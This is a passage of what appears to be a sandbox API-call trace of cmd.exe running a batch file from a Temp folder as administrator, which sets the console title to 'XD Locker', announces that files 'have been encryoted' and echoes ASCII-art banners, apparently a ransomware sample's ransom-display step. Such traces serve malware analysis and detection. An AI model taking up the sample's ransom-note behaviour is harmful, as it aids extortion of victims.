returned -4 [0040.363] _wcsicmp (_String1="cls", _String2="SHIFT") returned -16 [0040.364] _wcsicmp (_String1="cls", _String2="CLS") returned 0 [0040.364] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0040.364] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.364] GetFileType (hFile=0x7) returned 0x2 [0040.364] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.364] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f0a0 | out: lpMode=0x41f0a0) returned 1 [0040.364] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.364] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x41f0b0 | out: lpConsoleScreenBufferInfo=0x41f0b0) returned 1 [0040.365] ScrollConsoleScreenBufferW (hConsoleOutput=0x7, lpScrollRectangle=0x41f0c8, lpClipRectangle=0x0, dwDestinationOrigin=0xfed40000, lpFill=0x41f0d4) returned 1 [0040.366] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.366] SetConsoleCursorPosition (hConsoleOutput=0x7, dwCursorPosition=0x0) returned 1 [0040.367] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.367] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.367] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.367] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.367] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.367] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.367] SetConsoleInputExeNameW () returned 0x1 [0040.368] GetConsoleOutputCP () returned 0x1b5 [0040.368] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.368] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.368] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.368] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.368] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.368] SetFilePointer (in: hFile=0x74, lDistanceToMove=5424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1530 [0040.368] GetProcessHeap () returned 0x4e0000 [0040.368] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4548 | out: hHeap=0x4e0000) returned 1 [0040.368] GetProcessHeap () returned 0x4e0000 [0040.368] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4530 | out: hHeap=0x4e0000) returned 1 [0040.368] GetProcessHeap () returned 0x4e0000 [0040.368] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.368] GetProcessHeap () returned 0x4e0000 [0040.368] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.369] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.369] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1530 [0040.369] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x10fd, lpOverlapped=0x0) returned 1 [0040.369] SetFilePointer (in: hFile=0x74, lDistanceToMove=5441, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1541 [0040.369] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=17, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="title XD Locker\r\nfile have been encryoted by XD Locker\r\n") returned 17 [0040.369] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.369] GetFileType (hFile=0x74) returned 0x1 [0040.369] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.369] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1541 [0040.369] GetProcessHeap () returned 0x4e0000 [0040.369] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.369] GetProcessHeap () returned 0x4e0000 [0040.369] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.370] _tell (_FileHandle=3) returned 5441 [0040.370] _close (_FileHandle=3) returned 0 [0040.370] _wcsicmp (_String1="title", _String2="DIR") returned 16 [0040.370] _wcsicmp (_String1="title", _String2="ERASE") returned 15 [0040.370] _wcsicmp (_String1="title", _String2="DEL") returned 16 [0040.370] _wcsicmp (_String1="title", _String2="TYPE") returned -16 [0040.370] _wcsicmp (_String1="title", _String2="COPY") returned 17 [0040.370] _wcsicmp (_String1="title", _String2="CD") returned 17 [0040.370] _wcsicmp (_String1="title", _String2="CHDIR") returned 17 [0040.370] _wcsicmp (_String1="title", _String2="RENAME") returned 2 [0040.370] _wcsicmp (_String1="title", _String2="REN") returned 2 [0040.370] _wcsicmp (_String1="title", _String2="ECHO") returned 15 [0040.370] _wcsicmp (_String1="title", _String2="SET") returned 1 [0040.370] _wcsicmp (_String1="title", _String2="PAUSE") returned 4 [0040.370] _wcsicmp (_String1="title", _String2="DATE") returned 16 [0040.370] _wcsicmp (_String1="title", _String2="TIME") returned 7 [0040.371] _wcsicmp (_String1="title", _String2="PROMPT") returned 4 [0040.371] _wcsicmp (_String1="title", _String2="MD") returned 7 [0040.371] _wcsicmp (_String1="title", _String2="MKDIR") returned 7 [0040.371] _wcsicmp (_String1="title", _String2="RD") returned 2 [0040.371] _wcsicmp (_String1="title", _String2="RMDIR") returned 2 [0040.371] _wcsicmp (_String1="title", _String2="PATH") returned 4 [0040.371] _wcsicmp (_String1="title", _String2="GOTO") returned 13 [0040.371] _wcsicmp (_String1="title", _String2="SHIFT") returned 1 [0040.371] _wcsicmp (_String1="title", _String2="CLS") returned 17 [0040.371] _wcsicmp (_String1="title", _String2="CALL") returned 17 [0040.371] _wcsicmp (_String1="title", _String2="VERIFY") returned -2 [0040.371] _wcsicmp (_String1="title", _String2="VER") returned -2 [0040.371] _wcsicmp (_String1="title", _String2="VOL") returned -2 [0040.371] _wcsicmp (_String1="title", _String2="EXIT") returned 15 [0040.371] _wcsicmp (_String1="title", _String2="SETLOCAL") returned 1 [0040.371] _wcsicmp (_String1="title", _String2="ENDLOCAL") returned 15 [0040.371] _wcsicmp (_String1="title", _String2="TITLE") returned 0 [0040.371] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0040.371] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x41ee90 | out: TokenHandle=0x41ee90*=0x74) returned 0x0 [0040.371] NtQueryInformationToken (in: TokenHandle=0x74, TokenInformationClass=0x12, TokenInformation=0x41ee5c, TokenInformationLength=0x4, ReturnLength=0x41ee70 | out: TokenInformation=0x41ee5c, ReturnLength=0x41ee70) returned 0x0 [0040.372] NtQueryInformationToken (in: TokenHandle=0x74, TokenInformationClass=0x1a, TokenInformation=0x41ee68, TokenInformationLength=0x4, ReturnLength=0x41ee6c | out: TokenInformation=0x41ee68, ReturnLength=0x41ee6c) returned 0x0 [0040.372] NtClose (Handle=0x74) returned 0x0 [0040.372] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x41ee98, nSize=0x0, Arguments=0x41ee94 | out: lpBuffer="✸NA썓䩞❈䀀\x07") returned 0xf [0040.372] GetProcessHeap () returned 0x4e0000 [0040.372] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x4f4a38 [0040.372] SetConsoleTitleW (lpConsoleTitle="Administrator: XD Locker") returned 1 [0040.374] GetProcessHeap () returned 0x4e0000 [0040.374] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0040.374] LocalFree (hMem=0x4e2738) returned 0x0 [0040.374] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.374] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.375] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.375] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.375] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.375] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.375] SetConsoleInputExeNameW () returned 0x1 [0040.375] GetConsoleOutputCP () returned 0x1b5 [0040.375] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.375] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.376] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.376] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.376] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.376] SetFilePointer (in: hFile=0x74, lDistanceToMove=5441, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1541 [0040.376] GetProcessHeap () returned 0x4e0000 [0040.376] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.376] GetProcessHeap () returned 0x4e0000 [0040.376] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5810 | out: hHeap=0x4e0000) returned 1 [0040.376] GetProcessHeap () returned 0x4e0000 [0040.376] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0040.376] GetProcessHeap () returned 0x4e0000 [0040.376] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.376] GetProcessHeap () returned 0x4e0000 [0040.376] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.376] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.376] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1541 [0040.376] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x10ec, lpOverlapped=0x0) returned 1 [0040.376] SetFilePointer (in: hFile=0x74, lDistanceToMove=5508, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1584 [0040.377] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=67, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo ## ## #### ## #### ## ## #### ## ##\r\n") returned 67 [0040.377] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.377] GetFileType (hFile=0x74) returned 0x1 [0040.377] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.377] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1584 [0040.377] GetProcessHeap () returned 0x4e0000 [0040.377] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.377] GetProcessHeap () returned 0x4e0000 [0040.377] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.377] _tell (_FileHandle=3) returned 5508 [0040.377] _close (_FileHandle=3) returned 0 [0040.378] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.378] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.378] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.378] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.378] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.378] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.378] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.378] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.378] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.378] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.378] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.378] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer="## ## #### ## #### ## ## #### ## ##\r\n") returned 62 [0040.378] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.378] GetFileType (hFile=0x7) returned 0x2 [0040.379] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.379] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.379] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.379] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x3e, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x3e) returned 1 [0040.380] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.380] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.380] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.380] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.381] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.381] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.381] SetConsoleInputExeNameW () returned 0x1 [0040.381] GetConsoleOutputCP () returned 0x1b5 [0040.381] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.381] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.381] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.381] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.381] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.381] SetFilePointer (in: hFile=0x74, lDistanceToMove=5508, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1584 [0040.382] GetProcessHeap () returned 0x4e0000 [0040.382] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e27f0 | out: hHeap=0x4e0000) returned 1 [0040.382] GetProcessHeap () returned 0x4e0000 [0040.382] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2790 | out: hHeap=0x4e0000) returned 1 [0040.382] GetProcessHeap () returned 0x4e0000 [0040.382] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.382] GetProcessHeap () returned 0x4e0000 [0040.382] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.382] GetProcessHeap () returned 0x4e0000 [0040.382] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.382] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.382] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1584 [0040.382] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x10a9, lpOverlapped=0x0) returned 1 [0040.382] SetFilePointer (in: hFile=0x74, lDistanceToMove=5576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15c8 [0040.382] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo ## ## ## ### ## ## ## ## ## ## ## ## ####\r\n") returned 68 [0040.382] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.382] GetFileType (hFile=0x74) returned 0x1 [0040.382] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.382] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15c8 [0040.383] GetProcessHeap () returned 0x4e0000 [0040.383] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.383] GetProcessHeap () returned 0x4e0000 [0040.383] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.383] _tell (_FileHandle=3) returned 5576 [0040.383] _close (_FileHandle=3) returned 0 [0040.383] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.383] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.383] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.383] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.383] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.384] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.384] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.384] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.384] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.384] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.384] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.384] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer=" ## ## ## ### ## ## ## ## ## ## ## ## ####\r\n") returned 63 [0040.384] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.384] GetFileType (hFile=0x7) returned 0x2 [0040.384] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.384] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.385] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.385] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x3f) returned 1 [0040.385] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.385] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.385] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.385] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.385] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.385] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.386] SetConsoleInputExeNameW () returned 0x1 [0040.386] GetConsoleOutputCP () returned 0x1b5 [0040.386] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.386] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.386] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.386] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.386] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=5576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15c8 [0040.386] GetProcessHeap () returned 0x4e0000 [0040.386] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e27f8 | out: hHeap=0x4e0000) returned 1 [0040.387] GetProcessHeap () returned 0x4e0000 [0040.387] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2790 | out: hHeap=0x4e0000) returned 1 [0040.387] GetProcessHeap () returned 0x4e0000 [0040.387] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.387] GetProcessHeap () returned 0x4e0000 [0040.387] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.387] GetProcessHeap () returned 0x4e0000 [0040.387] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.387] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15c8 [0040.387] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1065, lpOverlapped=0x0) returned 1 [0040.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=5644, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x160c [0040.387] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo ### ## ### ## ## ## #### ## ## ## ## #\r\n") returned 68 [0040.387] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.387] GetFileType (hFile=0x74) returned 0x1 [0040.387] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x160c [0040.387] GetProcessHeap () returned 0x4e0000 [0040.387] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.387] GetProcessHeap () returned 0x4e0000 [0040.388] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.388] _tell (_FileHandle=3) returned 5644 [0040.388] _close (_FileHandle=3) returned 0 [0040.388] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.388] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.388] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.388] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.388] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.388] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.389] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.389] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.389] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.389] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.389] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.389] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer=" ### ## ### ## ## ## #### ## ## ## ## #\r\n") returned 63 [0040.389] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.389] GetFileType (hFile=0x7) returned 0x2 [0040.389] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.389] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.389] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.390] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x3f) returned 1 [0040.390] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.390] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.390] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.390] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.390] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.390] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.391] SetConsoleInputExeNameW () returned 0x1 [0040.391] GetConsoleOutputCP () returned 0x1b5 [0040.391] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.391] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.391] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.391] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.391] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.391] SetFilePointer (in: hFile=0x74, lDistanceToMove=5644, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x160c [0040.391] GetProcessHeap () returned 0x4e0000 [0040.391] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e27f0 | out: hHeap=0x4e0000) returned 1 [0040.391] GetProcessHeap () returned 0x4e0000 [0040.392] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2790 | out: hHeap=0x4e0000) returned 1 [0040.392] GetProcessHeap () returned 0x4e0000 [0040.392] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.392] GetProcessHeap () returned 0x4e0000 [0040.392] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.392] GetProcessHeap () returned 0x4e0000 [0040.392] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.392] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.392] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, 